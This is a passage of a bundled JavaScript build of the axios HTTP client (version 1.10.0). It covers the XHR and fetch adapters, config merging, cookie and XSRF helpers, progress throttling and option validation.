* @param {object} response The response.\n *\n * @returns {object} The response.\n */\nfunction settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n\nfunction parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n let threshold = 1000 / freq;\n let lastArgs;\n let timer;\n\n const invoke = (args, now = Date.now()) => {\n timestamp = now;\n lastArgs = null;\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n fn.apply(null, args);\n };\n\n const throttled = (...args) => {\n const now = Date.now();\n const passed = now - timestamp;\n if ( passed >= threshold) {\n invoke(args, now);\n } else {\n lastArgs = args;\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n invoke(lastArgs);\n }, threshold - passed);\n }\n }\n };\n\n const flush = () => lastArgs && invoke(lastArgs);\n\n return [throttled, flush];\n}\n\nconst progressEventReducer = (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null,\n [isDownloadStream ? 'download' : 'upload']: true\n };\n\n listener(data);\n }, freq);\n};\n\nconst progressEventDecorator = (total, throttled) => {\n const lengthComputable = total != null;\n\n return [(loaded) => throttled[0]({\n lengthComputable,\n total,\n loaded\n }), throttled[1]];\n};\n\nconst asyncDecorator = (fn) => (...args) => utils$1.asap(() => fn(...args));\n\nvar isURLSameOrigin = platform.hasStandardBrowserEnv ? ((origin, isMSIE) => (url) => {\n url = new URL(url, platform.origin);\n\n return (\n origin.protocol === url.protocol &&\n origin.host === url.host &&\n (isMSIE || origin.port === url.port)\n );\n})(\n new URL(platform.origin),\n platform.navigator && /(msie|trident)/i.test(platform.navigator.userAgent)\n) : () => true;\n\nvar cookies = platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils$1.isString(path) && cookie.push('path=' + path);\n\n utils$1.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nfunction isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nfunction combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nfunction buildFullPath(baseURL, requestedURL, allowAbsoluteUrls) {\n let isRelativeUrl = !isAbsoluteURL(requestedURL);\n if (baseURL && (isRelativeUrl || allowAbsoluteUrls == false)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders$1 ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nfunction mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, prop, caseless) {\n if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) {\n return utils$1.merge.call({caseless}, target, source);\n } else if (utils$1.isPlainObject(source)) {\n return utils$1.merge({}, source);\n } else if (utils$1.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, prop , caseless) {\n if (!utils$1.isUndefined(b)) {\n return getMergedValue(a, b, prop , caseless);\n } else if (!utils$1.isUndefined(a)) {\n return getMergedValue(undefined, a, prop , caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils$1.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils$1.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils$1.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b , prop) => mergeDeepProperties(headersToObject(a), headersToObject(b),prop, true)\n };\n\n utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n\nvar resolveConfig = (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders$1.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url, newConfig.allowAbsoluteUrls), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils$1.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n};\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nvar xhrAdapter = isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders$1.from(_config.headers).normalize();\n let {responseType, onUploadProgress, onDownloadProgress} = _config;\n let onCanceled;\n let uploadThrottled, downloadThrottled;\n let flushUpload, flushDownload;\n\n function done() {\n flushUpload && flushUpload(); // flush events\n flushDownload && flushDownload(); // flush events\n\n _config.cancelToken && _config.cancelToken.unsubscribe(onCanceled);\n\n _config.signal && _config.signal.removeEventListener('abort', onCanceled);\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders$1.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils$1.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (onDownloadProgress) {\n ([downloadThrottled, flushDownload] = progressEventReducer(onDownloadProgress, true));\n request.addEventListener('progress', downloadThrottled);\n }\n\n // Not all browsers support upload events\n if (onUploadProgress && request.upload) {\n ([uploadThrottled, flushUpload] = progressEventReducer(onUploadProgress));\n\n request.upload.addEventListener('progress', uploadThrottled);\n\n request.upload.addEventListener('loadend', flushUpload);\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n};\n\nconst composeSignals = (signals, timeout) => {\n const {length} = (signals = signals ? signals.filter(Boolean) : []);\n\n if (timeout || length) {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (reason) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = reason instanceof Error ? reason : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n };\n\n let timer = timeout && setTimeout(() => {\n timer = null;\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT));\n }, timeout);\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal.unsubscribe ? signal.unsubscribe(onabort) : signal.removeEventListener('abort', onabort);\n });\n signals = null;\n }\n };\n\n signals.forEach((signal) => signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = () => utils$1.asap(unsubscribe);\n\n return signal;\n }\n};\n\nvar composeSignals$1 = composeSignals;\n\nconst streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n};\n\nconst readBytes = async function* (iterable, chunkSize) {\n for await (const chunk of readStream(iterable)) {\n yield* streamChunk(chunk, chunkSize);\n }\n};\n\nconst readStream = async function* (stream) {\n if (stream[Symbol.asyncIterator]) {\n yield* stream;\n return;\n }\n\n const reader = stream.getReader();\n try {\n for (;;) {\n const {done, value} = await reader.read();\n if (done) {\n break;\n }\n yield value;\n }\n } finally {\n await reader.cancel();\n }\n};\n\nconst trackStream = (stream, chunkSize, onProgress, onFinish) => {\n const iterator = readBytes(stream, chunkSize);\n\n let bytes = 0;\n let done;\n let _onFinish = (e) => {\n if (!done) {\n done = true;\n onFinish && onFinish(e);\n }\n };\n\n return new ReadableStream({\n async pull(controller) {\n try {\n const {done, value} = await iterator.next();\n\n if (done) {\n _onFinish();\n controller.close();\n return;\n }\n\n let len = value.byteLength;\n if (onProgress) {\n let loadedBytes = bytes += len;\n onProgress(loadedBytes);\n }\n controller.enqueue(new Uint8Array(value));\n } catch (err) {\n _onFinish(err);\n throw err;\n }\n },\n cancel(reason) {\n _onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n};\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst test = (fn, ...args) => {\n try {\n return !!fn(...args);\n } catch (e) {\n return false\n }\n};\n\nconst supportsRequestStream = isReadableStreamSupported && test(() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n});\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported &&\n test(() => utils$1.isReadableStream(new Response('').body));\n\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n });\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils$1.isBlob(body)) {\n return body.size;\n }\n\n if(utils$1.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n\n if(utils$1.isArrayBufferView(body) || utils$1.isArrayBuffer(body)) {\n return body.byteLength;\n }\n\n if(utils$1.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils$1.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n};\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils$1.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n};\n\nvar fetchAdapter = isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let composedSignal = composeSignals$1([signal, cancelToken && cancelToken.toAbortSignal()], timeout);\n\n let request;\n\n const unsubscribe = composedSignal && composedSignal.unsubscribe && (() => {\n composedSignal.unsubscribe();\n });\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader);\n }\n\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n }\n\n if (!utils$1.isString(withCredentials)) {\n withCredentials = withCredentials ? 'include' : 'omit';\n }\n\n // Cloudflare Workers throws when credentials are defined\n // see https://github.com/cloudflare/workerd/issues/902\n const isCredentialsSupported = \"credentials\" in Request.prototype;\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n credentials: isCredentialsSupported ? withCredentials : undefined\n });\n\n let response = await fetch(request, fetchOptions);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || (isStreamResponse && unsubscribe))) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length'));\n\n const [onProgress, flush] = onDownloadProgress && progressEventDecorator(\n responseContentLength,\n progressEventReducer(asyncDecorator(onDownloadProgress), true)\n ) || [];\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onProgress, () => {\n flush && flush();\n unsubscribe && unsubscribe();\n }),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && unsubscribe && unsubscribe();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders$1.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n });\n })\n } catch (err) {\n unsubscribe && unsubscribe();\n\n if (err && err.name === 'TypeError' && /Load failed|fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n};\n\nutils$1.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false;\n\nvar adapters = {\n getAdapter: (adapters) => {\n adapters = utils$1.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n};\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nfunction dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders$1.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders$1.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders$1.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n\nconst VERSION = \"1.10.0\";\n\nconst validators$1 = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators$1[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators$1.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\nvalidators$1.spelling = function spelling(correctSpelling) {\n return (value, opt) => {\n // eslint-disable-next-line no-console\n console.warn(`${opt} is likely a misspelling of ${correctSpelling}`);\n return true;\n }\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nvar validator = {\n assertOptions,\n validators: validators$1\n};\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig || {};\n this.interceptors = {\n request: new InterceptorManager$1(),\n response: new InterceptorManager$1()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy = {};\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack;\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils$1.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n };\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n 